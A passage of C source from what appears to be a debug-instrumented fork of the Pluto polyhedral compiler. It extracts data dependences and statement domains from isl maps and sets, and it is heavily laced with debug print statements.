*pluto_basic_access_to_isl_union_map( PlutoMatrix *mat, char* access_name, __isl_take isl_set *dom) { int len, n_col; isl_ctx *ctx; isl_dim *dim; isl_mat *eq, *ineq; ctx = isl_set_get_ctx(dom); dim = isl_set_get_dim(dom); dim = isl_dim_drop(dim, isl_dim_set, 0, isl_dim_size(dim, isl_dim_set)); n_col = mat->ncols; isl_basic_map *bmap; isl_map *map; //int arr = SCOPVAL_get_si(access->p[pos][0]) - 1; len = mat->nrows; dim = isl_set_get_dim(dom); dim = isl_dim_from_domain(dim); dim = isl_dim_add(dim, isl_dim_out, len); dim = isl_dim_set_tuple_name(dim, isl_dim_out, access_name); ineq = isl_mat_alloc(ctx, 0, len + n_col); eq = pluto_extract_equalities(ctx, mat); bmap = isl_basic_map_from_constraint_matrices(dim, eq, ineq, isl_dim_out, isl_dim_in, isl_dim_div, isl_dim_param, isl_dim_cst); map = isl_map_from_basic_map(bmap); map = isl_map_intersect_domain(map, dom); return map; } #endif /* Temporary data structure used inside extract_deps. * * deps points to the array of Deps being constructed * type is the type of the next Dep * index is the index of the next Dep in the array. */ struct pluto_extra_dep_info { Dep **deps; Stmt **stmts; int type; int index; }; /* Convert an isl_basic_map describing part of a dependence to a Dep. * The names of the input and output spaces are of the form S_d or S_d_e * with d an integer identifying the statement, e identifying the access * (relative to the statement). If it's of the form S_d_e and read/write * accesses for the statement are available, source and target accesses * are set for the dependence, otherwise not. * * isl divs are removed; so this is an over-approximation in some cases */ static int basic_map_extract_dep(__isl_take isl_basic_map *bmap, void *user) { int j; Stmt **stmts; Dep *dep; struct pluto_extra_dep_info *info; info = (struct pluto_extra_dep_info *)user; printf("Line %d %s\n",__LINE__,__FILE__); stmts = info->stmts; bmap = isl_basic_map_remove_divs(bmap); dep = info->deps[info->index]; dep->id = info->index; dep->dpolytope = isl_basic_map_to_pluto_constraints(bmap); dep->bounding_poly = pluto_constraints_dup(dep->dpolytope); dep->dirvec = NULL; dep->type = info->type; dep->src = atoi(isl_basic_map_get_tuple_name(bmap, isl_dim_in) + 2); dep->dest = atoi(isl_basic_map_get_tuple_name(bmap, isl_dim_out) + 2); pluto_constraints_set_names_range(dep->dpolytope, stmts[dep->src]->iterators, 0, 0, stmts[dep->src]->dim); printf("Line %d %s\n",__LINE__,__FILE__); /* suffix the destination iterators with a '*/ char **dnames = malloc(stmts[dep->dest]->dim*sizeof(char *)); for (j=0; j<stmts[dep->dest]->dim; j++) { dnames[j] = malloc(strlen(stmts[dep->dest]->iterators[j])+2); strcpy(dnames[j], stmts[dep->dest]->iterators[j]); strcat(dnames[j], "'"); } pluto_constraints_set_names_range(dep->dpolytope, dnames, stmts[dep->src]->dim, 0, stmts[dep->dest]->dim); for (j=0; j<stmts[dep->dest]->dim; j++) { free(dnames[j]); } free(dnames); printf("Line %d %s\n",__LINE__,__FILE__); /* parameters */ pluto_constraints_set_names_range(dep->dpolytope, stmts[dep->dest]->domain->names, stmts[dep->src]->dim + stmts[dep->dest]->dim, stmts[dep->dest]->dim, stmts[dep->dest]->domain->ncols-stmts[dep->dest]->dim-1); // pluto_stmt_print(stdout, stmts[dep->src]); // pluto_stmt_print(stdout, stmts[dep->dest]); // printf("Src acc: %d dest acc: %d\n", src_acc_num, dest_acc_num); printf("Line %d %s\n",__LINE__,__FILE__); printf("dep->dest %d src %d \n",dep->dest, dep->src); printf("options %d\n",options); if (options->isldepaccesswise && (stmts[dep->src]->reads != NULL && stmts[dep->dest]->reads != NULL)) { /* Extract access function information */ printf("Line %d %s\n",__LINE__,__FILE__); int src_acc_num, dest_acc_num; const char *name; name = isl_basic_map_get_tuple_name(bmap, isl_dim_in) + 2; while (*name != '\0' && *(name++) != '_'); if (*name != '\0') src_acc_num = atoi(name+1); else assert(0); // access function num not encoded in dependence name = isl_basic_map_get_tuple_name(bmap, isl_dim_out) + 2; while (*name != '\0' && *(name++) != '_'); if (*name != '\0') dest_acc_num = atoi(name+1); else assert(0); // access function num not encoded in dependence printf("Line %d %s\n",__LINE__,__FILE__); switch (info->type) { case OSL_DEPENDENCE_RAW: dep->src_acc = stmts[dep->src]->writes[src_acc_num]; dep->dest_acc = stmts[dep->dest]->reads[dest_acc_num]; break; case OSL_DEPENDENCE_WAW: dep->src_acc = stmts[dep->src]->writes[src_acc_num]; dep->dest_acc = stmts[dep->dest]->writes[dest_acc_num]; break; case OSL_DEPENDENCE_WAR: dep->src_acc = stmts[dep->src]->reads[src_acc_num]; dep->dest_acc = stmts[dep->dest]->writes[dest_acc_num]; break; case OSL_DEPENDENCE_RAR: dep->src_acc = stmts[dep->src]->reads[src_acc_num]; dep->dest_acc = stmts[dep->dest]->reads[dest_acc_num]; break; default: assert(0); } printf("Line %d %s\n",__LINE__,__FILE__); }else{ dep->src_acc = NULL; dep->dest_acc = NULL; } printf("Line %d %s\n",__LINE__,__FILE__); info->index++; isl_basic_map_free(bmap); return 0; } /* Extract Pluto dependences from an isl_map */ static int map_extract_dep(__isl_take isl_map *map, void *user) { int r; r = isl_map_foreach_basic_map(map, &basic_map_extract_dep, user); isl_map_free(map); return r; } int extract_deps(Dep **deps, int first, Stmt **stmts, __isl_keep isl_union_map *umap, int type) { struct pluto_extra_dep_info info = {deps, stmts, type, first}; isl_union_map_foreach_map(umap, &map_extract_dep, &info); return info.index - first; } osl_names_p get_scop_names(osl_scop_p scop){ //generate temp names osl_names_p names = osl_scop_names(scop); //if scop has names substitute them for temp names if(scop->context->nb_parameters){ osl_strings_free(names->parameters); names->parameters = osl_strings_clone((osl_strings_p)scop->parameters->data); } osl_arrays_p arrays = osl_generic_lookup(scop->extension, OSL_URI_ARRAYS); if(arrays){ osl_strings_free(names->arrays); names->arrays = osl_arrays_to_strings(arrays); } return names; } /* Compute dependences based on the iteration domain and access * information in "scop" and put the result in "prog". * * If options->lastwriter is false, then * RAW deps are those from any earlier write to a read * WAW deps are those from any earlier write to a write * WAR deps are those from any earlier read to a write * RAR deps are those from any earlier read to a read * If options->lastwriter is true, then * RAW deps are those from the last write to a read * WAW deps are those from the last write to a write * WAR deps are those from any earlier read not masked by an intermediate * write to a write * RAR deps are those from the last read to a read * * The RAR deps are only computed if options->rar is set. */ static void compute_deps(osl_scop_p scop, PlutoProg *prog, PlutoOptions *options) { int i, racc_num, wacc_num; int nstmts = osl_statement_number(scop->statement); isl_ctx *ctx; isl_dim *dim; isl_space *param_space; isl_set *context; isl_union_map *empty; isl_union_map *write; isl_union_map *read; isl_union_map *schedule; isl_union_map *dep_raw, *dep_war, *dep_waw, *dep_rar, *trans_dep_war; isl_union_map *trans_dep_waw; osl_statement_p stmt; osl_strings_p scop_params = NULL; IF_DEBUG(printf("[pluto] compute_deps (isl%s)\n", options->lastwriter? " with lastwriter":"");); ctx = isl_ctx_alloc(); assert(ctx); osl_names_p names = get_scop_names(scop); dim = isl_dim_set_alloc(ctx, scop->context->nb_parameters, 0); if (scop->context->nb_parameters){ scop_params = (osl_strings_p)scop->parameters->data; dim = set_names(dim, isl_dim_param, scop_params->string); } param_space = isl_space_params(isl_space_copy(dim)); context = osl_relation_to_isl_set(scop->context, param_space); printf("Line %d %s\n",__LINE__,__FILE__); if (!options->rar) dep_rar = isl_union_map_empty(isl_dim_copy(dim)); empty = isl_union_map_empty(isl_dim_copy(dim)); write = isl_union_map_empty(isl_dim_copy(dim)); read = isl_union_map_empty(isl_dim_copy(dim)); schedule = isl_union_map_empty(dim); printf("Line %d %s\n",__LINE__,__FILE__); if (!options->isldepaccesswise) { /* Leads to fewer dependences. Each dependence may not have a unique * source/target access relating to it, since a union is taken * across all reads for a statement (and writes) for a particualr * array. Relationship between a dependence and associated dependent * data / array elements is lost, and some analyses may not work with * such a representation */ for (i = 0, stmt = scop->statement; i < nstmts; ++i, stmt = stmt->next) { isl_set *dom; isl_map *schedule_i; isl_union_map *read_i; isl_union_map *write_i; char name[20]; snprintf(name, sizeof(name), "S_%d", i); int niter = osl_statement_get_nb_iterators(stmt); dim = isl_dim_set_alloc(ctx, scop->context->nb_parameters, niter); if(scop->context->nb_parameters){ scop_params = (osl_strings_p)scop->parameters->data; dim = set_names(dim, isl_dim_param, scop_params->string); } if(niter){ osl_body_p stmt_body = osl_generic_lookup(stmt->extension, OSL_URI_BODY); dim = set_names(dim, isl_dim_set, stmt_body->iterators->string); } dim = isl_dim_set_tuple_name(dim, isl_dim_set, name); dom = osl_relation_list_to_isl_set(stmt->domain, dim); dom = isl_set_intersect_params(dom, isl_set_copy(context)); dim = isl_dim_alloc(ctx, scop->context->nb_parameters, niter, 2 * niter + 1); if(scop->context->nb_parameters){ scop_params = (osl_strings_p)scop->parameters->data; dim = set_names(dim, isl_dim_param, scop_params->string); } if(niter){ osl_body_p stmt_body = osl_generic_lookup(stmt->extension, OSL_URI_BODY); dim = set_names(dim, isl_dim_in, stmt_body->iterators->string); } dim = isl_dim_set_tuple_name(dim, isl_dim_in, name); schedule_i = osl_scattering_to_isl_map(stmt->scattering, dim); osl_relation_list_p rlist = osl_access_list_filter_read(stmt->access); osl_relation_list_p wlist = osl_access_list_filter_write(stmt->access); osl_arrays_p arrays = osl_generic_lookup(scop->extension, OSL_URI_ARRAYS); if(arrays){ osl_strings_free(names->arrays); names->arrays = osl_arrays_to_strings(arrays); } read_i = osl_access_list_to_isl_union_map(rlist, isl_set_copy(dom), names->arrays->string); write_i = osl_access_list_to_isl_union_map(wlist, isl_set_copy(dom), names->arrays->string); read = isl_union_map_union(read, read_i); write = isl_union_map_union(write, write_i); schedule = isl_union_map_union(schedule, isl_union_map_from_map(schedule_i)); osl_relation_list_free(rlist); osl_relation_list_free(wlist); } }else{ /* Each dependence is for a particular source and target access. Use * <stmt, access> pair while relating to accessed data so each * dependence can be associated to a unique source and target access */ for (i = 0, stmt = scop->statement; i < nstmts; ++i, stmt = stmt->next) { isl_set *dom; racc_num = 0; wacc_num = 0; osl_relation_list_p access = stmt->access; for( ; access; access = access->next) { isl_map *read_pos; isl_map *write_pos; isl_map *schedule_i; char name[20]; if (access->elt->type == OSL_TYPE_READ) { snprintf(name, sizeof(name), "S_%d_r%d", i, racc_num); }else{ snprintf(name, sizeof(name), "S_%d_w%d", i, wacc_num); } int niter = osl_statement_get_nb_iterators(stmt); dim = isl_dim_set_alloc(ctx, scop->context->nb_parameters, niter); if(scop->context->nb_parameters){ scop_params = (osl_strings_p)scop->parameters->data; dim = set_names(dim, isl_dim_param, scop_params->string); osl_strings_free(names->parameters); names->parameters = osl_strings_clone(scop_params); } if(niter){ osl_body_p stmt_body = osl_generic_lookup(stmt->extension, OSL_URI_BODY); dim = set_names(dim, isl_dim_set, stmt_body->iterators->string); osl_strings_free(names->iterators); names->iterators = osl_strings_clone(stmt_body->iterators); } dim = isl_dim_set_tuple_name(dim, isl_dim_set, name); dom = osl_relation_list_to_isl_set(stmt->domain, dim); dom = isl_set_intersect_params(dom, isl_set_copy(context)); dim = isl_dim_alloc(ctx, scop->context->nb_parameters, niter, 2 * niter + 1); if(scop->context->nb_parameters){ scop_params = (osl_strings_p)scop->parameters->data; dim = set_names(dim, isl_dim_param, scop_params->string); } if(niter){ osl_body_p stmt_body = osl_generic_lookup(stmt->extension, OSL_URI_BODY); dim = set_names(dim, isl_dim_in, stmt_body->iterators->string); } dim = isl_dim_set_tuple_name(dim, isl_dim_in, name); schedule_i = osl_scattering_to_isl_map(stmt->scattering, dim); osl_arrays_p arrays = osl_generic_lookup(scop->extension, OSL_URI_ARRAYS); if(arrays){ osl_strings_free(names->arrays); names->arrays = osl_arrays_to_strings(arrays); } if (access->elt->type == OSL_TYPE_READ) { read_pos = osl_basic_access_to_isl_union_map(access->elt, dom, names->arrays->string); read = isl_union_map_union(read, isl_union_map_from_map(read_pos)); }else{ write_pos = osl_basic_access_to_isl_union_map(access->elt, dom, names->arrays->string); write = isl_union_map_union(write, isl_union_map_from_map(write_pos)); } schedule = isl_union_map_union(schedule, isl_union_map_from_map(schedule_i)); if (access->elt->type == OSL_TYPE_READ) { racc_num++; }else{ wacc_num++; } } } } printf("Line %d %s\n",__LINE__,__FILE__); // isl_union_map_dump(read); // isl_union_map_dump(write); // isl_union_map_dump(schedule); if (options->lastwriter) { // compute RAW dependences which do not contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(read), isl_union_map_copy(write), isl_union_map_copy(empty), isl_union_map_copy(schedule), &dep_raw, NULL, NULL, NULL); // isl_union_map_dump(dep_raw); // compute WAW and WAR dependences which do not contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(write), isl_union_map_copy(write), isl_union_map_copy(read), isl_union_map_copy(schedule), &dep_waw, &dep_war, NULL, NULL); // compute WAR dependences which may contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(write), isl_union_map_copy(empty), isl_union_map_copy(read), isl_union_map_copy(schedule), NULL, &trans_dep_war, NULL, NULL); isl_union_map_compute_flow(isl_union_map_copy(write), isl_union_map_copy(empty), isl_union_map_copy(write), isl_union_map_copy(schedule), NULL, &trans_dep_waw, NULL, NULL); if (options->rar) { // compute RAR dependences which do not contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(read), isl_union_map_copy(read), isl_union_map_copy(empty), isl_union_map_copy(schedule), &dep_rar, NULL, NULL, NULL); } }else{ // compute RAW dependences which may contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(read), isl_union_map_copy(empty), isl_union_map_copy(write), isl_union_map_copy(schedule), NULL, &dep_raw, NULL, NULL); // compute WAR dependences which may contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(write), isl_union_map_copy(empty), isl_union_map_copy(read), isl_union_map_copy(schedule), NULL, &dep_war, NULL, NULL); // compute WAW dependences which may contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(write), isl_union_map_copy(empty), isl_union_map_copy(write), isl_union_map_copy(schedule), NULL, &dep_waw, NULL, NULL); if (options->rar) { // compute RAR dependences which may contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(read), isl_union_map_copy(empty), isl_union_map_copy(read), isl_union_map_copy(schedule), NULL, &dep_rar, NULL, NULL); } } printf("Line %d %s\n",__LINE__,__FILE__); if (options->isldepcoalesce) { dep_raw = isl_union_map_coalesce(dep_raw); dep_war = isl_union_map_coalesce(dep_war); dep_waw = isl_union_map_coalesce(dep_waw); dep_rar = isl_union_map_coalesce(dep_rar); } printf("Line %d %s\n",__LINE__,__FILE__); prog->ndeps = 0; isl_union_map_foreach_map(dep_raw, &isl_map_count, &prog->ndeps); isl_union_map_foreach_map(dep_war, &isl_map_count, &prog->ndeps); isl_union_map_foreach_map(dep_waw, &isl_map_count, &prog->ndeps); isl_union_map_foreach_map(dep_rar, &isl_map_count, &prog->ndeps); printf("Line %d %s\n",__LINE__,__FILE__); prog->deps = (Dep **)malloc(prog->ndeps * sizeof(Dep *)); for (i=0; i<prog->ndeps; i++) { prog->deps[i] = pluto_dep_alloc(); } printf("Line %d %s\n",__LINE__,__FILE__); prog->ndeps = 0; prog->ndeps += extract_deps(prog->deps, prog->ndeps, prog->stmts, dep_raw, OSL_DEPENDENCE_RAW); prog->ndeps += extract_deps(prog->deps, prog->ndeps, prog->stmts, dep_war, OSL_DEPENDENCE_WAR); prog->ndeps += extract_deps(prog->deps, prog->ndeps, prog->stmts, dep_waw, OSL_DEPENDENCE_WAW); prog->ndeps += extract_deps(prog->deps, prog->ndeps, prog->stmts, dep_rar, OSL_DEPENDENCE_RAR); printf("Line %d %s\n",__LINE__,__FILE__); if (options->lastwriter) { if (options->isldepcoalesce) { trans_dep_war = isl_union_map_coalesce(trans_dep_war); trans_dep_waw = isl_union_map_coalesce(trans_dep_waw); } prog->ntransdeps = 0; isl_union_map_foreach_map(dep_raw, &isl_map_count, &prog->ntransdeps); isl_union_map_foreach_map(trans_dep_war, &isl_map_count, &prog->ntransdeps); isl_union_map_foreach_map(trans_dep_waw, &isl_map_count, &prog->ntransdeps); isl_union_map_foreach_map(dep_rar, &isl_map_count, &prog->ntransdeps); if (prog->ntransdeps >= 1) { prog->transdeps = (Dep **)malloc(prog->ntransdeps * sizeof(Dep *)); for (i=0; i<prog->ntransdeps; i++) { prog->transdeps[i] = pluto_dep_alloc(); } prog->ntransdeps = 0; prog->ntransdeps += extract_deps(prog->transdeps, prog->ntransdeps, prog->stmts, dep_raw, OSL_DEPENDENCE_RAW); prog->ntransdeps += extract_deps(prog->transdeps, prog->ntransdeps, prog->stmts, trans_dep_war, OSL_DEPENDENCE_WAR); prog->ntransdeps += extract_deps(prog->transdeps, prog->ntransdeps, prog->stmts, trans_dep_waw, OSL_DEPENDENCE_WAW); prog->ntransdeps += extract_deps(prog->transdeps, prog->ntransdeps, prog->stmts, dep_rar, OSL_DEPENDENCE_RAR); } isl_union_map_free(trans_dep_war); isl_union_map_free(trans_dep_waw); } isl_union_map_free(dep_raw); isl_union_map_free(dep_war); isl_union_map_free(dep_waw); isl_union_map_free(dep_rar); isl_union_map_free(empty); isl_union_map_free(write); isl_union_map_free(read); isl_union_map_free(schedule); isl_set_free(context); printf("Line %d %s\n",__LINE__,__FILE__); if(names) osl_names_free(names); isl_ctx_free(ctx); } /* Temporary data structure used inside extra_stmt_domains * * stmts points to the array of Stmts being constructed * index is the index of the next stmt in the array */ struct pluto_extra_stmt_info { Stmt **stmts; int index; }; static int extract_basic_set(__isl_take isl_basic_set *bset, void *user) { Stmt **stmts; Stmt *stmt; PlutoConstraints *bcst; struct pluto_extra_stmt_info *info; info = (struct pluto_extra_stmt_info *)user; stmts = info->stmts; stmt = stmts[info->index]; isl_basic_set_dump( bset ); printf("Line %d %s basic set to pluto constraint\n",__LINE__,__FILE__); bcst = isl_basic_set_to_pluto_constraints(bset); fprintf(stderr,"new basic set for statement\n"); pluto_constraints_print( stderr, bcst ); if (stmt->domain) { fprintf(stderr,"already have a domain for this statement unionizing this result:\n"); stmt->domain = pluto_constraints_unionize_simple(stmt->domain, bcst); pluto_constraints_print( stderr, stmt->domain ); pluto_constraints_free(bcst); }else{ fprintf(stderr,"no domain for this statement setting this constraint as the domain\n"); stmt->domain = bcst; } printf("Line %d %s basic set to pluto constraint done\n",__LINE__,__FILE__); isl_basic_set_free(bset); return 0; } /* Used by libpluto interface */ static int extract_stmt(__isl_take isl_set *set, void *user) { printf("Line %d %s\n",__LINE__,__FILE__); fprintf(stderr,"dumping isl set\n"); isl_set_dump( set ); fprintf(stderr,"done dumping isl set\n"); int r = 0; Stmt **stmts; int id, i; stmts = (Stmt **) user; printf("Line %d %s\n",__LINE__,__FILE__); int dim = isl_set_dim(set, isl_dim_all); printf("Line %d %s dims %d\n",__LINE__,__FILE__,dim); int npar = isl_set_dim(set, isl_dim_param); PlutoMatrix *trans = pluto_matrix_alloc(dim-npar, dim+1); pluto_matrix_set(trans, 0); trans->nrows = 0; /* A statement's domain (isl_set) should be named S_%d */ const char *name = isl_set_get_tuple_name(set); assert(name); assert(strlen(name) >= 3); assert(name[0] == 'S'); assert(name[1] == '_'); assert(isdigit(name[2])); id = atoi(isl_set_get_tuple_name(set)+2); isl_id* tuple_id = isl_set_get_tuple_id( set ); void* user_data = isl_id_get_user( tuple_id ); printf("Line %d %s allocating a statement with %d dim-npar at id %d\n",__LINE__,__FILE__,dim-npar,id); stmts[id] = pluto_stmt_alloc(dim-npar, NULL, trans); Stmt *stmt = stmts[id]; stmt->type = ORIG; stmt->id = id; // pass the user data to the statement if ( user_data ) { stmt->user = user_data; }else{ stmt->user = NULL; } // TODO store the old names in the user_data and add them here for (i=0; i<stmt->dim; i++) { char *iter = malloc(5); sprintf(iter, "i%d", i); stmt->iterators[i] = iter; printf("Line %d %s new iterator %s\n",__LINE__,__FILE__, stmt->iterators[i]); } printf("Line %d %s\n",__LINE__,__FILE__); struct pluto_extra_stmt_info info = {stmts, id}; r = isl_set_foreach_basic_set(set, &extract_basic_set, &info); //stmt->domain = isl_set_to_pluto_constraints( set ); fprintf( stderr, "constraints from set of stmt %d\n", stmt->id ); pluto_constraints_print( stderr, stmt->domain ); fprintf( stderr, "done constraints from set of stmt %d\n", stmt->id ); pluto_constraints_set_names_range(stmt->domain, stmt->iterators, 0, 0, stmt->dim); for (i=0; i<npar; i++) { char *param = malloc(5); sprintf(param, "p%d", i); stmt->domain->names[stmt->dim+i] = param; printf("Line %d %s new parameter %s\n",__LINE__,__FILE__, stmt->domain->names[stmt->dim+i]); } printf("Line %d %s\n",__LINE__,__FILE__); pluto_matrix_free(trans); int j; for (j=0; j<stmt->dim; j++) { stmt->is_orig_loop[j] = true; printf("Line %d %s is_orig_loop true\n",__LINE__,__FILE__); } isl_set_free(set); return r; } /* Used by libpluto interface */ static int extract_stmts(__isl_keep isl_union_set *domains, Stmt **stmts) { printf("Line %d %s\n",__LINE__,__FILE__); isl_union_set_foreach_set(domains, &extract_stmt, stmts); printf("Line %d %s\n",__LINE__,__FILE__); return 0; } #if 0 int get_basic_set_name( isl_basic_set* bset, void* user) { const char* name = isl_basic_set_get_tuple_name( bset ); fprintf(stderr,"basic set name is %s\n", name ); } #endif void compute_flow( PlutoOptions* options, isl_union_map* read, isl_union_map* write, isl_union_map* empty, isl_union_map* schedule, isl_union_map** dep_raw, isl_union_map** dep_war, isl_union_map** dep_waw, isl_union_map** dep_rar, isl_union_map** trans_dep_war, isl_union_map** trans_dep_waw ){ // do the dependency calculation if (options->lastwriter) { // compute RAW dependences which do not contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(read), isl_union_map_copy(write), isl_union_map_copy(empty), isl_union_map_copy(schedule), dep_raw, NULL, NULL, NULL); // isl_union_map_dump(dep_raw); // compute WAW and WAR dependences which do not contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(write), isl_union_map_copy(write), isl_union_map_copy(read), isl_union_map_copy(schedule), dep_waw, dep_war, NULL, NULL); // compute WAR dependences which may contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(write), isl_union_map_copy(empty), isl_union_map_copy(read), isl_union_map_copy(schedule), NULL, trans_dep_war, NULL, NULL); isl_union_map_compute_flow(isl_union_map_copy(write), isl_union_map_copy(empty), isl_union_map_copy(write), isl_union_map_copy(schedule), NULL, trans_dep_waw, NULL, NULL); if (options->rar) { // compute RAR dependences which do not contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(read), isl_union_map_copy(read), isl_union_map_copy(empty), isl_union_map_copy(schedule), dep_rar, NULL, NULL, NULL); } }else{ // compute RAW dependences which may contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(read), isl_union_map_copy(empty), isl_union_map_copy(write), isl_union_map_copy(schedule), NULL, dep_raw, NULL, NULL); // compute WAR dependences which may contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(write), isl_union_map_copy(empty), isl_union_map_copy(read), isl_union_map_copy(schedule), NULL, dep_war, NULL, NULL); // compute WAW dependences which may contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(write), isl_union_map_copy(empty), isl_union_map_copy(write), isl_union_map_copy(schedule), NULL, dep_waw, NULL, NULL); if (options->rar) { // compute RAR dependences which may contain transitive dependences isl_union_map_compute_flow(isl_union_map_copy(read), isl_union_map_copy(empty), isl_union_map_copy(read), isl_union_map_copy(schedule), NULL, dep_rar, NULL, NULL); } } printf( "dumping dependences\n" ); fprintf(stderr,"dep_raw\n"); isl_union_map_dump(*dep_raw); fprintf(stderr,"dep_war\n"); isl_union_map_dump(*dep_war); fprintf(stderr,"dep_waw\n"); isl_union_map_dump(*dep_waw); fprintf(stderr,"dep_rar\n"); isl_union_map_dump(*dep_rar); printf( "done dumping dependences\n" ); printf("Line %d %s\n",__LINE__,__FILE__); fprintf(stderr, "isldepcoalesce\n"); #if 1 if (options->isldepcoalesce) { printf("Line %d %s\n",__LINE__,__FILE__); *dep_raw = isl_union_map_coalesce(*dep_raw); printf("Line %d %s\n",__LINE__,__FILE__); *dep_war = isl_union_map_coalesce(*dep_war); printf("Line %d %s\n",__LINE__,__FILE__); *dep_waw = isl_union_map_coalesce(*dep_waw); printf("Line %d %s\n",__LINE__,__FILE__); *dep_rar = isl_union_map_coalesce(*dep_rar); } fprintf(stderr,"dep_raw\n"); isl_union_map_dump(*dep_raw); fprintf(stderr,"dep_war\n"); isl_union_map_dump(*dep_war); fprintf(stderr,"dep_waw\n"); isl_union_map_dump(*dep_waw); fprintf(stderr,"dep_rar\n"); isl_union_map_dump(*dep_rar); printf("Line %d %s\n",__LINE__,__FILE__); } PlutoProg* pluto_compute_deps( isl_union_map* schedule, isl_union_map* read, isl_union_map* write, isl_union_map* empty, isl_union_set* domains, isl_set* context, PlutoOptions* _options, isl_union_map* raw, isl_union_map* war, isl_union_map* waw, isl_union_map* red ){ options = _options; fprintf(stderr,"domains\n"); isl_union_set_dump( domains ); fprintf(stderr,"schedule\n"); isl_union_map_dump( schedule ); fprintf(stderr,"read\n"); isl_union_map_dump( read ); fprintf(stderr,"write\n"); isl_union_map_dump( write ); fprintf(stderr,"Line %d %s\n",__LINE__,__FILE__); PlutoProg* prog = pluto_prog_alloc() ; prog->deps_explanation = NULL; // add context constraints if ( context ){ prog->context = isl_set_to_pluto_constraints( context ); } pluto_constraints_print( stderr, prog->context ); prog->options = options; prog->nvar = -1; prog->nstmts = isl_union_set_n_set(domains); fprintf(stderr,"Line %d %s nstmts %d \n",__LINE__,__FILE__,prog->nstmts); fprintf(stderr,"Line %d %s\n",__LINE__,__FILE__); if (prog->nstmts >= 1) { fprintf(stderr,"allocating %d statement pointers\n",prog->nstmts); prog->stmts = (Stmt **)malloc(prog->nstmts * sizeof(Stmt *)); fprintf(stderr,"prog->stmts %d\n",prog->stmts); }else{ prog->stmts = NULL; } fprintf(stderr,"Line %d %s zero the statement pointers\n",__LINE__,__FILE__); for (int i=0; i<prog->nstmts; i++) { prog->stmts[i] = NULL; } fprintf(stderr,"Line %d %s\n",__LINE__,__FILE__); extract_stmts(domains, prog->stmts); fprintf(stderr,"Line %d %s nstmt %d\n",__LINE__,__FILE__,prog->nstmts); for (int i=0; i<prog->nstmts; i++) { fprintf(stderr,"prog->stmts[i] %d\n", prog->stmts[i]); fprintf(stderr,"prog->nvar %d dim %d\n", prog->nvar, prog->stmts[i]->dim); prog->nvar = PLMAX(prog->nvar, prog->stmts[i]->dim); fprintf(stderr,"prog->nvar %d\n", prog->nvar); } fprintf(stderr,"Line %d %s\n",__LINE__,__FILE__); if (prog->nstmts >= 1) { Stmt *stmt = prog->stmts[0]; prog->npar = stmt->domain->ncols - stmt->dim - 1; prog->params = (char **) malloc(sizeof(char *)*prog->npar); fprintf(stderr,"Line %d %s npar %d ncols %d dim %d\n",__LINE__,__FILE__,prog->npar,stmt->domain->ncols,stmt->dim); }else{ prog->npar = 0; } fprintf(stderr,"Line %d %s\n",__LINE__,__FILE__); // do not recreate the values but get them from the context if ( context ) { fprintf(stderr,"Line %d %s\n",__LINE__,__FILE__); // if dont know in which order theses things might be // first lets hope for the best const char* name = isl_set_get_dim_name( context, isl_dim_param, 0 ); int n_parameters = isl_set_n_param( context ); prog->npar = n_parameters; if ( prog->params ) { free( prog->params ); } prog->params = (char**) malloc(sizeof(char*) * prog->npar ); fprintf(stderr,"context has %d parameters\n", prog->npar); for (int i = 0; i < prog->npar; ++i){ const char* name = isl_set_get_dim_name( context, isl_dim_param, i ); if ( name == NULL ) { fprintf(stderr, "could not get the name of this set\n"); } fprintf( stderr, "tuple name %d is %s\n", i, name); prog->params[i] = strdup(name); fprintf( stderr, "could not set the param\n"); } fprintf(stderr,"Line %d %s\n",__LINE__,__FILE__); }else{ fprintf(stderr, "there is no context so fill this with new names"); for (int i=0; i<prog->npar; i++) { char *param = malloc(5); sprintf(param, "p%d", i); prog->params[i] = param; } } fprintf(stderr,"Line %d %s\n",__LINE__,__FILE__); // TODO dont calculate if passed to this function isl_union_map *dep_raw, *dep_war, *dep_waw, *dep_rar, *trans_dep_war; isl_union_map *trans_dep_waw; if (!options->rar) dep_rar = isl_union_map_copy(empty); // if dep calculation was not already done if ( !(raw && war && waw && red) ) { compute_flow( options, read, write, empty, schedule, &dep_raw, &dep_war, &dep_waw, &dep_rar, &trans_dep_war, &trans_dep_waw ); }else{ fprintf(stderr,"Line %d %s taking already calculated dependencies from outside\n",__LINE__,__FILE__); dep_raw = raw; dep_war = war; dep_waw = waw; // TODO dep_rar = rar; // TODO continue to implement the passing of already calculated dependences to pluto } prog->ndeps = 0; isl_union_map_foreach_map(dep_raw, &isl_map_count, &prog->ndeps); isl_union_map_foreach_map(dep_war, &isl_map_count, &prog->ndeps); isl_union_map_foreach_map(dep_waw, &isl_map_count, &prog->ndeps); isl_union_map_foreach_map(dep_rar, &isl_map_count, &prog->ndeps); fprintf(stderr,"Line %d %s\n",__LINE__,__FILE__); prog->deps = (Dep **)malloc(prog->ndeps * sizeof(Dep *)); for (int i=0; i<prog->ndeps; i++) { prog->deps[i] = pluto_dep_alloc(); } fprintf(stderr,"Line %d %s\n",__LINE__,__FILE__); prog->ndeps = 0; prog->ndeps += extract_deps(prog->deps, prog->ndeps, prog->stmts, dep_raw, OSL_DEPENDENCE_RAW); prog->ndeps += extract_deps(prog->deps, prog->ndeps, prog->stmts, dep_war, OSL_DEPENDENCE_WAR); prog->ndeps += extract_deps(prog->deps, prog->ndeps, prog->stmts, dep_waw, OSL_DEPENDENCE_WAW); prog->ndeps += extract_deps(prog->deps, prog->ndeps, prog->stmts, dep_rar, OSL_DEPENDENCE_RAR); fprintf(stderr,"Line %d %s\n",__LINE__,__FILE__); if (options->lastwriter) { if (options->isldepcoalesce) { trans_dep_war = isl_union_map_coalesce(trans_dep_war); trans_dep_waw = isl_union_map_coalesce(trans_dep_waw); } prog->ntransdeps = 0; isl_union_map_foreach_map(dep_raw, &isl_map_count, &prog->ntransdeps); isl_union_map_foreach_map(trans_dep_war, 